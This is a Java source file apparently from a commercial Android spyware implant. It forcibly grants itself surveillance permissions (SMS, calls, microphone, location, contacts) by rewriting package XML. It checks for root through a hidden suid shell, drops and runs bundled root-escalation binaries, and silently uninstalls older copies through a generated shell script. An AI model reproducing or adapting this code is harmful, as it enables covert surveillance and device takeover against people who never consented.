/* *********************************************
* Create by : Alberto "Q" Pelliccione
* Company : HT srl
* Project : AndroidService
* Created : 27-jun-2011
**********************************************/
package com.android.dvci.capabilities;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import com.android.dvci.Root;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.Configuration;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.file.AutoFile;
import com.android.dvci.util.Check;
import com.android.dvci.util.Execute;
import com.android.dvci.util.ExecuteResult;
import com.android.dvci.util.StringUtils;
import com.android.dvci.util.Utils;
import com.android.mm.M;
import org.xml.sax.SAXException;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import javax.xml.parsers.FactoryConfigurationError;
import javax.xml.parsers.ParserConfigurationException;
public class PackageInfo {
private static final String TAG = "PackageInfo";
private static boolean sentInfo;
private String packageName;
private FileInputStream fin;
private XmlParser xml;
private String requiredPerms[] = StringUtils
.split(M.e("android.permission.READ_SMS,android.permission.SEND_SMS,android.permission.PROCESS_OUTGOING_CALLS,android.permission.WRITE_EXTERNAL_STORAGE,android.permission.WRITE_SMS,android.permission.ACCESS_WIFI_STATE,android.permission.ACCESS_COARSE_LOCATION,android.permission.RECEIVE_SMS,android.permission.READ_CONTACTS,android.permission.CALL_PHONE,android.permission.READ_PHONE_STATE,android.permission.RECEIVE_BOOT_COMPLETED,android.permission.INTERNET,android.permission.CHANGE_WIFI_STATE,android.permission.ACCESS_FINE_LOCATION,android.permission.WAKE_LOCK,android.permission.RECORD_AUDIO,android.permission.ACCESS_NETWORK_STATE"));
// XML da parsare
public PackageInfo(FileInputStream fin, String packageName) throws SAXException, IOException,
ParserConfigurationException, FactoryConfigurationError {
this.fin = fin;
this.packageName = packageName;
this.xml = new XmlParser(this.fin);
}
public String getPackagePath() {
return this.xml.getPackagePath(this.packageName);
}
static public String getPackageName() {
return Status.getAppContext().getPackageName();
}
private ArrayList<String> getPackagePermissions() {
return this.xml.getPackagePermissions(this.packageName);
}
public boolean addRequiredPermissions(String outName) {
if (this.xml.setPackagePermissions(this.packageName, this.requiredPerms) == false) {
return false;
}
serialize(outName);
return true;
}
private void serialize(String fileName) {
FileOutputStream fos;
try {
fos = Status.getAppContext().openFileOutput(fileName, Context.MODE_WORLD_READABLE);
String xmlOut = xml.serializeXml();
fos.write(xmlOut.getBytes());
fos.close();
} catch (Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(e);//$NON-NLS-1$
Check.log(TAG + " (serialize): Exception during file creation"); //$NON-NLS-1$
}
}
}
public boolean checkRequiredPermission() {
boolean permFound = false;
ArrayList<String> a = getPackagePermissions();
for (int i = 0; i < this.requiredPerms.length; i++) {
for (String actualPerms : a) {
permFound = false;
if (actualPerms.equals(this.requiredPerms[i]) == true) {
permFound = true;
break;
}
}
if (permFound == false) {
break;
}
}
return permFound;
}
static synchronized public boolean checkRoot() { //$NON-NLS-1$
boolean isRoot = false;
if (Status.haveRoot()) {
return true;
}
try {
// Verifichiamo di essere root
if (Cfg.DEBUG) {
Check.log(TAG + " (checkRoot), " + Configuration.shellFileBase);
}
final AutoFile file = new AutoFile(Configuration.shellFileBase);
if (file.exists() && file.canRead()) {
final ExecuteResult p = Execute.execute(Configuration.shellFile + M.e(" qzx id"));
String stdout = p.getStdout();
if (stdout.startsWith(M.e("uid=0"))) {
if (Cfg.DEBUG) {
Check.log(TAG + " (checkRoot): isRoot YEAHHHHH"); //$NON-NLS-1$ //$NON-NLS-2$
Date timestamp = new Date();
long diff = (timestamp.getTime() - Root.startExploiting.getTime()) / 1000;
if (!sentInfo) {
EvidenceBuilder.info("Root: " + Root.method + " time: " + diff + "s");
if (Cfg.DEMO) {
Status.self().makeToast("Root acquired");
}
}
} else {
if (!sentInfo) {
EvidenceBuilder.info(M.e("Root"));
}
}
isRoot = true;
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (checkRoot): isRoot NOOOOO"); //$NON-NLS-1$ //$NON-NLS-2$
}
//if (!sentInfo) {
// EvidenceBuilder.info("Root: NO");
//}
}
sentInfo = true;
}
} catch (final Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(e);//$NON-NLS-1$
}
}
Status.setRoot(isRoot);
return isRoot;
}
static public boolean hasSu() {
if (checkRootPackages() == true) {
if (Cfg.DEBUG) {
Check.log(TAG + " (hasSu): checkRootPackages true"); //$NON-NLS-1$
}
return true;
}
if (checkDebugBuild() == true) {
if (Cfg.DEBUG) {
Check.log(TAG + " (hasSu): checkDebugBuild true"); //$NON-NLS-1$
}
return true;
}
return false;
}
private static boolean checkRootPackages() {
if (Cfg.DEBUG) {
Check.log(TAG + " (checkRootPackages)");
}
try {
// 32_39=/system/app/Superuser.apk
File file = new File(M.e("/system/app/Superuser.apk"));
if (file.exists()) {
return true;
}
// 32_40=/data/app/com.noshufou.android.su-1.apk
file = new File(M.e("/data/app/com.noshufou.android.su-1.apk"));
if (file.exists()) {
return true;
}
// 32_41=/data/app/com.noshufou.android.su-2.apk
file = new File(M.e("/data/app/com.noshufou.android.su-2.apk"));
if (file.exists()) {
return true;
}
// 32_42=/system/bin/su
file = new File(M.e("/system/bin/su"));
if (file.exists()) {
return true;
}
// 32_42=/system/bin/su
file = new File(M.e("/system/xbin/su"));
if (file.exists()) {
return true;
}
} catch (Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
}
if (Cfg.DEBUG) {
Check.log(TAG + " (checkRootPackages), no root found");
}
return false;
}
private static boolean checkDebugBuild() {
if (Cfg.DEBUG) {
Check.log(TAG + " (checkDebugBuild)");
}
String buildTags = android.os.Build.TAGS;
if (buildTags != null && buildTags.contains(M.e("test-keys"))) {
return true;
}
return false;
}
public static boolean removeOldInstall(String ShellFileBase) {
int uid = android.os.Process.myUid();
String myName = Status.getAppContext().getPackageName();
final PackageManager pm = Status.getAppContext().getPackageManager();
//get a list of installed apps.
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
List<String> apps = new ArrayList<String>();
//loop through the list of installed packages and see if the selected
//app is in the list
for (ApplicationInfo packageInfo : packages) {
if (packageInfo.uid == uid && !packageInfo.packageName.equalsIgnoreCase(myName)) {
//get the UID for the selected app
apps.add(packageInfo.packageName);
if (Cfg.DEBUG) {
Check.log(TAG + " (removeOldInstall) found leftover:" + packageInfo.packageName);
}
}
}
if (!apps.isEmpty()) {
//forge the script
String script = M.e("#!/system/bin/sh") + "\n";
for (String r : apps) {
if (ShellFileBase != null) {
script += ShellFileBase + M.e(" qzx ") + M.e("\"pm disable ") + r + "\"\n" +
ShellFileBase + M.e(" qzx ") + M.e("\"pm uninstall ") + r + "\"\n";
} else {
script += M.e("pm disable ") + r + "\n" +
M.e("pm uninstall ") + r + "\n";
}
}
if (Cfg.DEBUG) {
Check.log(TAG + " (removeOldInstall): script: " + script); //$NON-NLS-1$
}
if (Root.createScript("o", script) == false) {
if (Cfg.DEBUG) {
Check.log(TAG + " (removeOldInstall): failed to create script"); //$NON-NLS-1$
}
return false;
}
Execute ex = new Execute();
ex.execute(Status.getAppContext().getFilesDir() + "/o ");
Root.removeScript("o");
if (Cfg.DEBUG) {
Check.log(TAG + " (removeOldInstall): old app"); //$NON-NLS-1$
}
return true;
}
return false;
}
public static boolean upgradeRoot() {
final AutoFile file = new AutoFile(Configuration.oldShellFileBase);
if (file.exists() && file.canRead()) {
//check leftover if any
removeOldInstall(Configuration.oldShellFileBase);
try {
ExecuteResult p = Execute.execute(Configuration.oldShellFileBase + M.e(" qzx id"));
String stdout = p.getStdout();
if (stdout.startsWith(M.e("uid=0"))) {
final File filesPath = Status.getAppContext().getFilesDir();
final String path = filesPath.getAbsolutePath();
final String suidext = M.e("ss"); // suidext
AutoFile dbgd = new AutoFile(M.e("/system/bin/dbgd"));
if (dbgd.exists()) {
Utils.dumpAsset(M.e("jb.data"), suidext);// selinux_suidext
} else {
Utils.dumpAsset(M.e("sb.data"), suidext);// suidext
}
AutoFile suidextFile = new AutoFile(path + "/" + suidext);
suidextFile.chmod("755");
try {
p = Execute.execute(new String[]{Configuration.oldShellFileBase, "qzx", suidextFile.getFilename() + " rt"});
stdout = p.getStdout();
if (Cfg.DEBUG) {
Check.log(TAG + " (upgradeRoot), result: " + stdout);
}
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (upgradeRoot), ERROR: " + ex);
}
} finally {
suidextFile.delete();
}
for (int i = 0; i < 10; i++) {
Utils.sleep(1000);
if (checkRoot())
return true;
}
}
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (upgradeRoot), ERROR: " + ex);
}
}
}
return false;
}
}